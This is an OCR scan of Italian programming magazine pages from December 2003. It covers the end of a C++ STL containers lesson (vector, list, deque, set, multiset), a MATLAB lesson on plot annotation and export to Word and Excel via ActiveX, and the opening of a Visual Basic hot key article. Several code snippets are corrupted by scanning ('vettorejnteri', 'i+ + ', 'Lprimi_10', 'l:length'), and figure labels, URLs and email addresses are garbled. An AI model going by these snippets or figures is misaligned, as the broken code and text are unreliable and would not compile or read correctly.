essere una sequenza o un insieme associativo
(Fig. 1).
La differenza tra i due tipi è nel modo in cui ci si
riferisce agli elementi. Nelle sequenze, ha senso
parlare di un predecessore e di un successore di
un certo elemento, e ci si riferisce ad un elemen-
to specificandone la posizione all'interno del
contenitore. In un insieme associativo ogni
oggetto nel contenitore è identificato da un'eti-
chetta, e ci si riferisce ad esso attraverso tale eti-
chetta (che è detta chiave). A ben vedere, almeno
dal punto di vista logico, le sequenze altro non
sono che insiemi associativi, in cui le etichette
degli elementi sono degli interi (che identificano
la posizione).
Ad essere più precisi, il concetto di successore e
predecessore esiste anche per gli insiemi asso-
ciativi, tuttavia (in assenza di ordinamento) dato
un elemento, i suoi successore e predecessore
sono completamente casuali, mentre in una
sequenza l'ordinamento è implicito.
LA CATEGORIA
DELLE SEQUENZE
Della categoria delle sequenze fanno parte tre
classi fondamentali, che da sole rappresentano il
90% dei bisogni di immagazzinamento oggetti di
un programmatore: vector, list e deque. Le princi-
pali differenze tra l'utilizzo di queste classi risie-
dono nel tipo di operazioni che verranno svolte
sugli oggetti istanziati: la scelta dipenderà quindi
dal contesto all'interno del quale verranno usati
questi contenitori, più che dalle loro caratteristi-
che esterne.
1
2
3
4
5
6
chiave
(b)
contenitore
oggetto
eh ave
^A ZI \
\
I z\
li k-
-H 1
Z i
\ i \~-
■~---| | /
(a)
Fig. 1: Come possiamo immaginare una sequenza (a) ed un insieme associativo (b).
Ad esempio se vogliamo avere una struttura che
verrà riempita una sola volta all'inizio e sulla
quale verranno effettuate essenzialmente opera-
zioni di lettura casuale degli elementi (del tipo:
"Dammi il primo elemento... dammi l'elemento
7... l'elemento 12" e così via) possiamo tranquil-
lamente orientarci sull'uso di vector, il quale,
avendo una struttura interna basata su array,
rende veloci questo tipo di operazioni. Se abbia-
mo bisogno invece di effettuare frequenti inseri-
menti di oggetti all'inizio o alla fine del conteni-
tore, possiamo orientarci sul tipo deque (che si
pronuncia "dee"). Questo tipo implementa il
concetto informatico di "doublé ended queue" cioè
"coda doppia" (si considera "terminale" della
struttura sia la sua testa che la sua coda) e rende
gli accessi casuali veloci quasi quanto quelli for-
niti da vector, ma garantisce una velocità decisa-
mente maggiore quando si tratta di effettuare il
tipo di inserimenti in questione. Qualora invece
non fossimo interessati alla velocità di estrazione
degli elementi ma avessimo invece bisogno di
effettuare frequenti inserimenti nel mezzo del
nostro contenitore (cioè né all'inizio né alla fine),
la nostra scelta inevitabilmente dovrà ricadere
sul tipo list, che implementa il concetto informa-
tico di "lista collegata". Una lista collegata è
costituita da tante "celle" destinate a contenere
L'UTILITÀ DEI
CONTENITORI
I contenitori sono
necessari, in quanto
nei nostri programmi
gli oggetti vengono
continuamente creati e
distrutti, e abbiamo
bisogno di un
elemento unificatore
che ci permetta di
averli tutti sempre
sotto controllo e
facilmente accessibili.
Dicembre 2003/101 ►
CORSI BASE T
I
C++
APPROFONDIMENTI
A chi volesse
approfondire la sua
conoscenza sulle
librerie standard del
C++, consigliamo il
validissimo libro
"Thinking in C++ - 2nd
ed. - Volume 2" di
Bruce Eckel e Chuck
Allison, che
rappresenta
sicuramente un ottimo
riferimento per i
programmatori più
avanzati (o aspiranti
tali) ed è oltretutto
disponibile
gratuitamente per il
download, partendo
dall'indirizzo
http://www.mindview,net
/Books/TICPP/ThinkinglnC
PP2e.html
Se volete invece dare
un'occhiata a una
reference delle
funzioni standard del C
per la manipolazione
di stringhe (o meglio:
di array di caratteri
terminati da "\0" :-)
consultate l'indirizzo:
http://www.cplusplus.com
/ref/cstring/
l'elemento che viene inserito; ogni cella ha in più
due puntatori: uno alla cella precedente (chia-
miamolo punt_prec) e uno a quella successiva
(punt_succ). È evidente che con questa struttura
l'inserimento nel mezzo risulta molto veloce in
quanto basta svolgere le seguenti operazioni:
• creare una nuova cella con l'elemento da inse-
rire in posizione n
• far puntare punt_succ della cella n-1 e
punt_prec della cella n (che diventerà n+1 dopo
l'inserimento) alla nuova cella creata
• impostare punt_succ e punt_prec della nuova
cella, in modo da farli puntare alle celle adia-
centi
In sostanza quindi si tratta di fare una allocazio-
ne e sovrascrivere pochi valori relativi ai puntato-
ri da cambiare.
Vengono del tutto evitate copie di buffer di
memoria da una zona all'altra, copie che invece
sarebbero indispensabili nel caso di utilizzo di
vettori (che si basano su array e richiedono,
come visto in precedenza, nuove allocazioni e
copie di tutti i valori) e nuove allocazioni (che
richiedono accesso ai servizi del sistema operati-
vo e quindi sono lente) .
CHE COS'È
UHI VECTOR
Un vector è una sequenza di oggetti accessibili
rapidamente in modo casuale, allo stesso modo
in cui si fa con un array. Useremo questo tipo
come esempio generico per questa categoria di
contenitori, in quanto sia list che deque presenta-
no più o meno gli stessi metodi (per vedere le
esatte differenze è utile consultare una referen-
ce). Istanziare un oggetto di tipo vector è sempli-
cissimo, esso è un template, quindi sarà necessa-
rio utilizzare la sintassi tipica di questo costrutto:
#include <vector>
using namespace std;
//... all'interno del codice...
//un vettore di un tipo predefinito:
vector<int> vettorejnteri;
//un vettore di un tipo definito dall'utente:
vector<MiaClasse> mio_vettore;
L'operazione di inserimento di un elemento in
un vector avviene tramite la funzione membro
push_backO-
Questa realizza l'inserimento alla fine del vetto-
re, in altre parole l'ultimo elemento inserito sarà
anche l'ultimo elemento del vettore (cioè quello
con l'indice più alto), list e deque presentano
anche una analoga funzione, chiamata push_
fronti), in cui l'ultimo elemento inserito diventa il
primo nell'ordinamento del contenitore (si tratta
di un "inserimento in testa" anziché "in coda"
come il precedente). Ad esempio per riempire un
vector con i numeri da 1 a 10 è possibile utilizza-
re il seguente codice:
vector<int> i_primi_10;
for (int i=0;i<10;i+ + )
i_primi_10.push_back(i + l);
Nulla di più semplice! Da notare il fatto che in
nessuna parte del codice è stata specificata la
dimensione del vettore: abbiamo soltanto
aggiunto elementi, senza preoccuparci di alloca-
re memoria o di utilizzare l'indice giusto, come
invece avremmo dovuto fare per un array di inte-
ri "classico". Come già accennato in precedenza,
per accedere agli elementi inseriti in un conteni-
tore della STL è buona norma servirsi di partico-
lari oggetti, gli iteratori, che hanno lo scopo di
generalizzare la struttura di questo tipo di opera-
zioni. Per i vettori tuttavia si può ricorrere a qual-
cosa di più immediato. In questo caso infatti è
stato opportunamente ridefinito dai progettisti il
comportamento dell'operatore "[]" (parentesi
quadre), per cui è possibile accedere al contenu-
to di una particolare cella del vettore in un modo
sintatticamente identico a quello degli array
standard.
Se volessimo ad esempio stampare il contenuto
del vettore creato in precedenza potremmo scri-
vere:
for (int i=0;i<i_primi_10.size();i++)
cout << Lprimi_10[i] << " ";
Che stamperà appunto:
12345678910
Da notare l'utilizzo di una funzione molto utile,
cioè sizeQ. Essa, come è facile immaginarsi, resti-
tuisce la dimensione del vettore, cioè il numero
di elementi contenuti, e può essere molto como-
da nei casi analoghi al precedente, cioè laddove
si è in presenza di cicli e del costrutto for. Rac-
comandiamo di evitare però l'(ab)uso dell'opera-
tore " [] " in porzioni di codice nei quali non si è
perfettamente sicuri di cosa il vettore possa con-
tenere in quanto l'utilizzo della scrittura:
mio_vettore[10];
su un vettore di 5 elementi potrebbe avere risul-
1
C++ T CORSI BASE
tati imprevisti. Inoltre l'operatore "[]" funziona
su vector e deque, ma non sulle list, perciò: atten-
zione!
INSIEMI ASSOCIATIVI
La seconda categoria di contenitori è quella
degli insiemi associativi. Fanno parte di questo
gruppo le classi set, map, multìset e multìmap. La
classe largamente più utilizzata è set, che imple-
menta il concetto matematico di insieme. Oltre
alla peculiarità di non avere un ordinamento
interno tra elementi, set è caratterizzato dall'im-
possibilità di inserire più volte lo stesso elemen-
to. Al contrario di vector infatti, dove ad esempio
l'elemento "1" può essere inserito contempora-
neamente in posizione 2, 5, 90 ecc., ogni tentati-
vo di inserire più istanze di oggetti uguali fallirà.
Questo meccanismo è completamente traspa-
rente all'utente della classe e viene gestito dalla
funzione inserto, che è quella dedicata all'inseri-
mento degli elementi nel contenitore. Per chiari-
re meglio il concetto analizziamo il seguente
codice:
#include <iostream>
#include <set>
#include <string>
using namespace std;
//... all'interno del codice...
//proviamo a inserire più volte lo
stesso
elemento
set<char> insieme_char;
for (int k=0;k<100;k+ + ) {
char e = '!';
insieme_char.insert(c);
}
cout << "Ci sono " << insieme_
" eie
:har.size()
menti nell
<<
insieme\n";
Abbiamo eseguito per ben 100 volte l'operazione
di inserimento del carattere "!" e tutto è filato
liscio senza intoppi. Tuttavia la stampa a scher-
mo sarà:
Ci sono 1 elementi nell'insieme
Ovviamente avere più istanze di oggetti uguali
all'interno di un contenitore associativo può
essere comunque utile per alcune applicazioni.
Proprio a questo scopo è stata creata la classe
multìset, del tutto analoga a set, con la differenza
che accetta anche istanze multiple. Sostituendo
la parola "multiset" al posto di "set" nello stral-
cio di codice precedente, compilando ed ese-
guendo il tutto, si otterrebbe la stampa:
Ci sono 100 elementi nell'insieme
Discorso assolutamente analogo vale nella rela-
zione tra map e multimap.
CONCLUSIONI
L'utilizzo di contenitori STL nella normale pro-
grammazione in C++ dovrebbe essere la norma
per chi ha l'onore/onere di lavorare scrivendo
codice. Oltre a risparmiare un bel po' di tempo
in implementazioni "volanti" di contenitori ad
hoc, infatti, ci si può basare sul rassicurante fatto
di stare usando delle librerie praticamente esen-
ti da bug (il codice sorgente è pubblico) e che
oltretutto sfruttano i più potenti algoritmi di
gestione delle risorse, garantendo prestazioni
elevate. Nella prossima puntata parleremo di
come rendere possibile l'accesso ai vari elemen-
ti inseriti in un contenitore tramite gli iteratori.
Una separazione così netta tra inserimento e
estrazione di valori potrebbe sembrare al neofita
una cosa abbastanza astrusa e inutilmente diffi-
cile. Vedremo al contrario quali sono le logiche
che hanno portato a questa particolare progetta-
zione e come, a fronte di una difficoltà di pro-
grammazione leggermente superiore, si possa
d'altra parte beneficiare di grossi vantaggi in ter-
mini di potenza, flessibilità e modificabilità del
codice. Non mancate!
Alfredo Marroccelli
Marco Del Gobbo
BIBLIOGRAFIA
LEZIONI DI C++
Un testo che rende particolarmente agevole l'apprendimento dei fonda-
menti della programmazione e del codice C++.
L'autore John Smiley, presidente della Smiley and Associates, un'azienda
di consulenza informatica, è autore di altri otto libri e, con Lezioni di C++,
ha pensato bene di fornire un testo adatto ad un lettore neofita, che non
ha nessuna esperienza in campo di programmazione e che comunque si
appresta a voler apprendere un linguaggio come il C++ che, sicuramente,
non si annovera tra i linguaggi più semplici nell'apprendimento. Gli argo-
menti, secondo lo stile dell'autore e ormai divenuto un suo standard,
sono trattati in modo semplice e "divertente". Tra gli argomenti trattati:
imparare i concetti della programmazione applicabili a più linguaggi; svi-
luppare delle competenze in C++ per il mondo reale e utilizzare la pro-
grammazione a oggetti; lavorare con le variabili, le costanti e i dati tipiz-
zati del C++.
Difficoltà: Medio - Alta
Autore: J. Smiley
Editore: McGraw-Hill
http://www.informatica.mcgraw-hill.it
ISBN: 88-386-4325-3
Anno di pub.: 2003
Lingua: Italiano
Pagine: 573
Prezzo: € 32,00
Se hai suggerimenti,
critiche, dubbi o
perplessità sugli
argomenti trattati e
vuoi proporle agli
autori puoi scrivere
agli indirizzi:
alfredo.marroccelli®
ioprogrammo.it e
marco.delqobbo©
ioproqrammo.it
Questo contribuirà
sicuramente a
migliorare il lavoro di
stesura delle prossime
puntate.
Dicembre 2003/103 ►
CORSI BASE T
I
Matlab
L'interazione con Microsoft Office
MATLAB:
mostrare i risultati
Nei numeri precedenti abbiamo visto quali sono le funzionalità che
offre l'ambiente per lo sviluppo di algoritmi matematici efficaci.
Questa volta analizziamo la presentazione dei risultati.
□ CD □ WEB
Watlab_75.zip
«^—==^.-..,„.,..- ..,..„■„:..,*
GLOSSARIO
LOAD
Il comando load ha
bisogno di specificare
il parametro "-mat"
per riconoscere
correttamente il file
come un archivio
".MAT".
Innumerevoli volte, dopo aver speso molto
tempo nella realizzazione delle elaborazioni
che ci sono necessarie, ci accorgiamo di
avere ancora un passo da compiere. La docu-
mentazione del lavoro o la presentazione dei ri-
sultati raggiunti o, ancora, la stesura di un do-
cumento scientifico quale una pubblicazione.
Queste attività assorbono le nostre energie nel-
la sezione terminale del nostro lavoro e solita-
mente sono considerate noiose e particolar-
mente faticose. Si tratta di un compito da non
sottovalutare: la qualità che viene percepita è
molte volte dipendente dalla qualità della pre-
sentazione dei dati.
Questa deve generare interesse, essere leggibile
e semplice da seguire.
Al contrario, ad una documentazione di scarsa
qualità non viene prestata sufficiente attenzio-
ne e noi rischiamo di avere fatto un eccellente
lavoro tecnico senza vederci riconosciuta la sua
efficacia ed utilità. Qualità che in parte dipende
dalla semplicità e funzionalità d'uso degli stru-
menti di reporting. Qui vedremo come sia pos-
sibile trasferire in maniera semplice e veloce i
nostri dati verso word processor, creatori di
presentazione e tutti quegli ambienti che tradi-
zionalmente sono utilizzati per questi scopi.
D^0
\ k ? / & JS>
Fig. 1: La figura mostra la Toolbar standard
dell'ambiente IDE di MATLAB.
Vedremo come creare grafici che possiedano
un maggiore tasso di informazioni al loro inter-
no e che possano essere interattivamente mo-
dificati in modo da raggiungere il contenuto
necessario alla presentazione dei dati. Inoltre,
vedremo come far transitare le informazioni
verso MS Word e verso MS Excel.
GRAFICA
(ANNOTAZIONI,
STATISTICHE ED
INTERPOLAZIONE)
Sappiamo oramai da qualche tempo che in MA-
TLAB è possibile creare grafici 2D e 3D con sem-
plicità. Abbiamo anche visto di sfuggita come
potremmo rendere più attraenti queste rappre-
sentazioni. Immaginiamo ora di possedere dei
dati sull'andamento dell'indice della borsa di
Milano (troverete il file "mib.dat" sul CD allegato
alla rivista) :
>> load mib.dat -mat
>> figure
>> plot(mib(:,l), mib(i,2));
>> xt = get(gca, 'xticklabel');
>> xt_n = str2num(xt);
>> xt_nn = xt_n * 100000;
>> new_tick = datestr(xt_nn);
>> set(gca, 'xticklabel', num2str(new_tick));
>> set(gca, 'units', 'norm', 'pos', [0.05 0.05 0.9 0.9]);
>> title('MIB 30');
Lo scopo che ci prefiggiamo è quello di creare un
grafico che mostri sia l'andamento dell'indice in-
sieme con altre informazioni che aiutino chi
guarda a comprendere meglio il contenuto dei
dati. Più praticamente, immaginiamo di voler fa-
re alcune cose: mostrare quali siano gli eventi ca-
ratteristici di cui tenere conto per interpretare
l'andamento, tracciare una linea di tendenza, vi-
sualizzare un'approssimazione matematica a
partire da un semplice modello, cambiare alcuni
colori di default. Con questo compito in mente ci
accingiamo a modificare il nostro grafico. Avrete
notato che sulle figure MATLAB compare di de-
fault una barra di strumenti identica a quella di
Fig. 1. Alcuni di questi tasti ci sono familiari, altri
Matlab
T CORSI BASE
sono di uso intuitivo. Noi ci soffermiamo su quel-
li che risiedono all'incirca nel centro della barra.
Essi sono quelli usati per le annotazioni più sem-
plici e veloci. Cominciamo premendo il tasto che
riporta una freccia che punta in alto a destra.
Con questa possiamo disegnare una freccia sem-
plicemente cliccando in un punto del grafico che
debba rappresentare la coda e rilasciando il tasto
sinistro del mouse nel punto in cui desideriamo
che vi sia la punta. Possiamo ripetere questa ope-
razione quante volte desideriamo così da popo-
lare il grafico con tutti gli indicatori necessari.
Il passo successivo potrebbe essere quello di as-
sociare alle frecce che abbiamo tracciato delle di-
dascalie utili ad interpretare il significato della
freccia stessa. Per fare questo usiamo il tasto che
riporta una A maiuscola e facciamo un solo clic
con il tasto sinistro del mouse nel punto in cui
desideriamo vedere il testo. A questo punto digi-
tiamo la stringa di testo che desideriamo. Fatta
questa operazione possiamo sempre spostare
frecce e testo in modo che assumano le posizioni
corrette. Ora il nostro grafico è annotato in ma-
niera appropriata. Immaginiamo di voler ag-
giungere ai dati un'approssimazione polinomia-
le e una regressione lineare. Esiste un menu inti-
tolato "Tools" sulla finestra del nostro grafico. Il
penultimo dei suoi item si chiama "Basic Fitting".
Premendolo compare un'interfaccia grafica che
ci consente di eseguire in pochi semplici passi
quanto abbiamo appena detto. Se mettiamo un
check su "Linear" e "4th degree" vediamo com-
parire automaticamente i grafici delle approssi-
mazioni che desideriamo. Un altro check marca-
to "Show equations" ci consente di veder compa-
rire le equazioni delle approssimazioni appena
selezionate.
Un altro strumento che ci fornisce dati utili risie-
de sempre sotto "Tools" e si chiama "Basic
Statistics". Con questo è possibile vedere compa-
rire sul grafico i riferimenti ad alcuni semplici
dati. Proviamo a mettere un check sulla coordi-
nata Y di "min", "max" e "mean". Il risultato di
questa operazione è la comparsa sul grafico di tre
linee: una relativa all'ordinata del punto in cui il
valore è minimo, una per il massimo ed una sul
livello medio dei dati presenti. Ora dobbiamo
modificare alcuni colori che non sono coerenti
con ipotetiche linee guida per la rappresentazio-
ne dei dati in questione. Immaginiamo che l'in-
tera figura debba essere bianca e che i dati deb-
bano essere rappresentati in nero piuttosto che
in blu. Andiamo al menu "Edit" e lanciamo l'ap-
plicazione ausiliaria chiamata "Figure proper-
ties...". A questo punto vediamo comparire una
finestra su cui è possibile cambiare il colore di
sfondo della figura; poniamolo a "White" e chiu-
diamo la finestra. Per variare il colore dei dati
dobbiamo fare clic sulla barra degli strumenti
sulla freccia rivolta in alto a sinistra. A questo
punto siamo in grado di selezionare un oggetto
qualsiasi sul grafico. Selezioniamo così i dati e
sempre sotto il menu "Edit" lanciamo "Current
Object Properties...". La finestra che si apre è
analoga a quella riguardante le proprietà grafi-
che della finestra e anche qui troveremo un pun-
to in cui è possibile specificare il colore della li-
nea dei dati. Lo poniamo a "Black", chiudiamo
tutte le finestre ausiliarie e possiamo dire di ave-
re terminato il nostro lavoro di maquillage del
grafico. Il risultato di questo processo lo si può'
vedere in Fig. 2.
5.5
5
x10 4
MIB30
«htans
"
ì\ e
4.5
Boll, ■
elativa
~* w
y
u
ima"»
3.5
~y = 6.3*x - 4.
e -HD06
hb\
#
V\
i v Vi
______ "
3
y = 4.46-003*
''- 0.013";.;
+ 1.46-KD04-X
- e.S8iO0S*x - 1.33+015
r \j
\ „
2.5
2
1.5
^ .
guer
a in Afganislan
„<
,,
Vy ;
25- Ju
1994
07- De
e- 1995
20-Apr-1997
Ù'i-Sep-V-
1 5- J a n-2000
29-May-2001
11-OH-2002 23-Fe
-2004
Fig. 2: Grafico annotato e modificato.
ESPORTAZIONE
GRAFICI
Un grafico che abbia raggiunto il livello di conte-
nuto sufficiente ha come normale destinazione
un documento. Il primo passo da compiere è
quello di "estrarlo" dall'ambiente di partenza.
Qui abbiamo molte opzioni ma le due più sem-
plici sono quella di eseguire una copia o un'e-
sportazione. La copia del grafico viene eseguita
dall'item di menu che si raggiunge per mezzo di
"Edit / Copy" ed esegue una semplice copia de-
stinata ad essere incollata nel documento di de-
stinazione. La seconda possibilità la si raggiunge
per mezzo di "File / Export...". In questo caso, vi
è la possibilità di salvare un file nel formato gra-
fico desiderato. Sono disponibili i più diffusi for-
mati e con questa opzione abbiamo la possibilità
di creare un eccellente veicolo per il riutilizzo
dell'informazione in differenti documenti o per
la sua trasmissione.
L'APPLICAZIONE
AUSILIARIA
NOTEBOOK
Il notebook è una delle applicazioni ausiliarie di
MATLAB. Essa consente un'interazione diretta
tra MATLAB e MS Word. Possiamo creare un do-
GLOSSARIO
XTICK LABEL
XTickLabel è una
proprietà che contiene
le etichette dell'asse
X.
CORSI BASE T
I
Matlab
GLOSSARIO
RNGHANDLE
RngHandle è la
variabile che contiene
l'handle della singola
cella in Excel.
ACTXSERVER
Actxserver è la
funzione che attiva il
canale ActiveX. Essa
crea un oggetto
gestibile attraverso i
valori delle sue
proprietà'.
cumento Word che contenga testo, comandi
MATLAB e il risultato dei calcoli. Per le semplici
istruzioni di installazione fate riferimento ad un
manuale che ha per titolo "Using MATLAB"
(using_ml.pdf) citato nella bibliografia. Ora ci
concentreremo invece sul modo che dobbiamo
usare in Word per interagire con MATLAB.
Dobbiamo immaginarci di avere Word come
front-end e di manovrare MATLAB a partire da
questa posizione. In realtà le operazioni sono
semplicissime. Per iniziare a lavorare su un do-
cumento di tipo "notebook" non dobbiamo fare
altro che digitare in MATLAB:
>> notebook
Questo comando causa l'apertura di un nuovo
documento Word di tipo M-book. Si tratta di un
tipo di documento che possiede delle macro che
consentono una semplice gestione del docu-
mento e dell'interazione con MATLAB. Infatti, in
Word, vediamo comparire alcuni oggetti che
non sono standard in questo ambiente.
Scorriamo un nuovo menu chiamato "Note-
book" e nel menu "File" esiste ora un nuovo item
chiamato "New M-book" che ha il compito di
creare un nuovo documento vuoto di tipo M-
book (riferitevi al manuale citato per scoprire i
dettagli d'uso degli item del menu Notebook).
Vediamo ora come si fa ad interagire con MA-
TLAB. Il principio di utilizzo è lo stesso della
Command Window; vale a dire che in Word usia-
mo la stessa sintassi alla quale siamo abituati da
tempo. È sufficiente possedere un modo sempli-
ce per imporre a Word di inviare quello che ab-
biamo scritto verso MATLAB, imporgli il calcolo
e raccogliere il risultato per inserirlo nella posi-
zione appropriata all'interno del documento.
Tutto questo lo si ottiene per mezzo dell'uso di
CTRL + ENTER. Se proviamo a digitare un sem-
,i:: _
fretta = [periodoll) : .5 iperico! en*)] ]
[x_retta =
°2™D1C!]
V^.cl^^au^a^aar^in.au,*!
fretta = *(1| *x_ retta + x(2>]
fretta =
°3™57]
,_
„„ ,„» ,„„.„
2
--—
6 '930.5 1997 1997.5 1398 1998J 1999 19S9.5 2000 20005 2D
plice comando MATLAB in Word e a farlo segui-
re da CTRL + ENTER vedremo cambiare il suo
colore e formato e quindi produrre direttamente
nel documento il risultato del calcolo. Per rende-
re più chiaro il processo proviamo a reimple-
mentare in Word un esempio che è stato pubbli-
cato in un dei primi numeri in cui ci siamo oc-
cupati di MATLAB. Il risultato finale di questa
operazione lo trovate nel CD allegato alla rivista
nel file chiamato " The MATLAB Notebook vl.doc" e
nella Fig. 3 potete apprezzare una parte del ri-
sultato finale. Ovviamente, qui ci troviamo di
fronte ad un documento che non ha subito un'a-
zione di formattazione. Lo troverete quindi ab-
bastanza rozzo. Il vantaggio che abbiamo è quel-
lo di possedere una documentazione completa
della nostra sessione di lavoro all'interno di un
word processor, il quale ci consente tutte quelle
operazioni di formattazione che sono tipiche di
questo genere di ambienti. Possiamo sbarazzar-
ci degli output ingombranti o inutili, cancellare i
comandi MATLAB che li hanno generati, possia-
mo ridimensionare i grafici, aggiungere testo,
ecc.
EXPORT DATI
VERSO EXCEL
Un ulteriore modo di operare è quello che pren-
de origine da MATLAB stesso. Alcune volte ci è
comodo fare in modo che sia MATLAB a coman-
dare il flusso di dati. Nell'esempio precedente
abbiamo visto come sia possibile considerare
Word la propria interfaccia e usare MATLAB co-
me un motore di calcolo che, in background,
esegue operazioni anche complesse per fornire
risultati che abbiano come destinazione un do-
cumento. Succede che vi sia la necessità di com-
portarsi in una maniera completamente oppo-
sta. Questa volta lavoreremo in MATLAB e usere-
mo MS Excel come destinazione dei nostri dati.
Per fare questo, è necessario spendere due paro-
le su quali siano in MS Windows i meccanismi
standard usati per il trasferimento dei dati.
Esistono dei "canali" che sfruttano una tecnolo-
gia chiamata ActiveX. Per mezzo di questa è pos-
sibile creare dei tunnel attraverso i quali far flui-
re le informazioni. In MATLAB è possibile aprire
questi canali chiedendo che all'altro capo vi sia
una ben precisa applicazione, Excel nel nostro
caso. I seguenti comandi sono raccolti nel file
"report.m".
Fig. 3: MATLAB Notebook.
% Lancia
l'applicazione
Excel
ExHandle
= actxserver(
Excel
Application');
% La rende visibile
ExHandle
Visible = 1;
Matlab
T CORSI BASE
Il primo comando lancia l'applicazione MS Excel
e apre un canale di comunicazione ActiveX con
essa. Il secondo la rende visibile all'utilizzatore.
% Apertura del file
invoke(ExHandle.Workbook, 'open', 'D:\Articles\
ioProgrammo\2003_12_Dicembre\Report.xls');
il dato desiderato. Con questo meccanismo mol-
to semplice possiamo spostare i dati, frutto dei
calcoli in MATLAB, verso un'applicazione speci-
fica.
% Chiusura della connessione ad Excel
delete(ExHandle);
Il comando "invoke" permette di utilizzare i me-
todi dell'oggetto aperto e utilizzare le API esposte
da tale oggetto. Questo significa soltanto che
possiamo accedere ad alcune funzionalità pro-
prie di MS Excel per indurre l'esecuzione delle
azioni che ci interessano (nel caso specifico so-
stituite il nome della directory con quello in cui
risiederà il vostro file Excel).
% Legge la collezione di fogli
SheetCollect = ExHandle.ActiveWorkBook.Sheets;
% Sceglie un folgio dall'insieme dei fogli
SheetNo = 'Fogliol';
SheetObj = get(SheetCollect, 'Item', SheetNo);
In questo modo ci siamo costruiti l'handle del fo-
glio Excel che ci interessa e sul quale andremo a
riversare i dati.
% Copiatura dei dati sul foglio Excel
% Date
for k = l:length(date)
Range = ['a', num2str(k + 1)];
RngHandle = get(SheetObj, 'Range', Range);
RngHandle.Value = mib(k, 1);
end
Range = 'al';
RngHandle = get(SheetObj, 'Range', Range);
RngHandle.Value = 'Data';
% Valori di MIB30
for k = l:length(indice)
Range = ['b', num2str(k + 1)];
RngHandle = get(SheetObj, 'Range', Range);
RngHandle.Value = mib(k, 2);
end
Range = 'bl';
RngHandle = get(SheetObj, 'Range', Range);
RngHandle.Value = 'Valori';
% Valor medio del MIB30
Range = 'c2';
RngHandle = get(SheetObj, 'Range', Range);
RngHandle.Value = mean(mib(:, 2));
Range = 'ci';
RngHandle = get(SheetObj, 'Range', Range);
RngHandle.Value = 'Media dei valori';
I due cicli scorrono i dati in MATLAB e li copiano
nelle apposite celle in Excel. Ad ogni passo viene
costruito l'indirizzo della cella, viene reperito
l'handle della cella stessa e quindi viene copiato
La connessione ActiveX viene chiusa con questo
comando che elimina dalla memoria l'handle
corrispondente. Il risultato finale dell'elabora-
zione lo si può apprezzare in Fig 4.
: [§] File Modifica Visuali—a Inserisci Formato Strumenti Dati Finestra ? - S X
! 51 "Ìiifa£a^a^^0 l feó2| , rtJ paridi ™ n rnaoìrlche. . . Termina revisione, . . ,
Arisi
• n • G C S s n B | 9 € % ■ M a i 1 ■ * • A . ;>
A1
A Dala
A
B
C
D I
1
Data
Valori Media dei valori
2
731864
25553
27811.5
3
731863
25671
4
731862
25348
5
731861
25311
6
731860
25349
7
731857
25526
8
731856
25037
9
731855
25060
10
731854
24760
11
731853
25128
-IO
V5HBRn 1R1RR
.M
I. < . ., '.K.^!t>i ,. --.:; M| >||
Pronto
Fig. 4: Reporting in Excel a partire da dati MATLAB.
CONCLUSIONI
In questo numero abbiamo visto come creare in
maniera interattiva grafici con annotazioni e ab-
biamo imparato ad esportarli. Inoltre, abbiamo
visto altre due tecniche per interagire con appli-
cazioni MS Office. Nel primo caso abbiamo con-
siderato Word come server o motore di calcolo,
mentre nel secondo MATLAB era un client che ri-
chiedeva servizi ad MS Excel che fungeva come
semplice serbatoio dei risultati di un calcolo.
Questo pezzo è l'ultimo della serie su MATLAB
apparsa su Io Programmo negli ultimi mesi.
Saluto tutti i lettori che hanno avuto la benevo-
lenza e la pazienza di seguire il susseguirsi degli
argomenti.
Per maggiori informazioni sui prodotti della fa-
miglia MATLAB potete consultare il sito di The
MathWorks (www.mathworks.it). Suggerisco a
tutti di guardare una porzione del sito web chia-
mato "MATLAB Central" {www.mathworks.com/
matlahcentrall) .
Esso riporta innumerevoli esempi d'uso di MA-
TLAB in una varietà molto vasta di discipline tec-
nico scientifiche.
Fabrizio Sara
"Getting Started with
MATLAB"
http://www.mathworks.com/
access/helpdesk/help/
pdf doc/matlab/
qetstart.pdf
"Using MATLAB"
http://www.mathworks.com/
access/helpdesk/help/
pdf doc/matlab/
using mi. pdf
"Using MATLAB
Graphics"
http://www.mathworks.com/
access/helpdesk/help/
pdf doc/matlab/qraphq.pdf
CORSI AVANZATI T
I
Visual Basic
Gestione avanzata dell'interfaccia utente
Un "acceleratore"
di tastiere in VB
In questo articolo descriveremo come implementare un "acceleratore'
di tastiere utilizzando il controllo hotkey di Windows: un'occasione
per semplificare ed accelerare le operazioni degli utenti.
ESADECIMALI
In Visual Basic è possi-
bile rappresentare i
numeri esadecimali
grazie ai simboli &H,
per esempio con la
seguente dichiarazione
Public const Val = &H1A
impostiamo la costan-
te Val sul valore esa-
decimale 1A (decimale
26).
•"^V uesto è primo di due appuntamenti che
I I dedicheremo alle hot key. Una hot key è una
V.^r combinazione di tasti che l'utente seleziona
per OTViare rapidamente determinate azioni. Le hot
key, però, non bisogna confonderle con le scorcia-
toie di tastiera per applicazioni, anch'esse delle
combinazioni di tasti ma utilizzabili soltanto a livel-
lo di applicazione e quando queste sono attive. Per
esempio a livello di applicazione le combinazioni di
tasti Ctrl+C e Ctrl+V permettono, rispettivamente, di
copiare ed incollare un testo; mentre, a livello di
sistema, la combinazione di tasti Ctrl+Alt+Canc
(croce e delizia degli utenti Windows), a seconda del
sistema operativo, mostra la finestra Protezione di
Windows o la Task Manager. Le prime due combina-
zioni sicuramente sono delle scorciatoie di tastiere
per applicazioni, la terza, invece, può essere una hot
key. In generale, dunque, a livello di applicazione o
di sistema i tasti di scelta rapida servono per miglio-
rare l'interazione con l'utente per questo conviene
conoscerle e saperle gestire a livello di programma-
zione. Visual Basic non fornisce un controllo nativo
per la gestione delle hot key, gestione che si può rea-
lizzare con l'ausilio del controllo HotKey, fornito
dalla libreria ComCtrl32.dll, e di alcuni elementi
dell'API opportunamente collegati attraverso delle
funzioni di Callback. Questo ci fa capire che gli argo-
menti che affronteremo spaziano dalle API alle tec-
niche di programmazione avanzate (callback e sub-
classing). In particolare, in questo primo appunta-
mento, presenteremo le caratteristiche principali
delle hot key e vedremo come utilizzarle in un pro-
getto Visual Basic. Per far ciò implementeremo
un'applicazione che mostra lo stato della tastiera e
viene abilitata attraverso delle hot key. Introdur-
remo, inoltre, l'applicazione "acceleratore di tastie-
ra" che permette all'utente di definire delle hot key
ed associarle a dei file EXE. L'acceleratore di tastiera
lo completeremo nel successivo appuntamento.
HOT KEY E
VIRTUAL KEY
In generale, una hot key è formata da due parti: un
modificatere (modifier) e un tasto (Key). Il modifier
è costituito da una combinazione dei seguenti tasti:
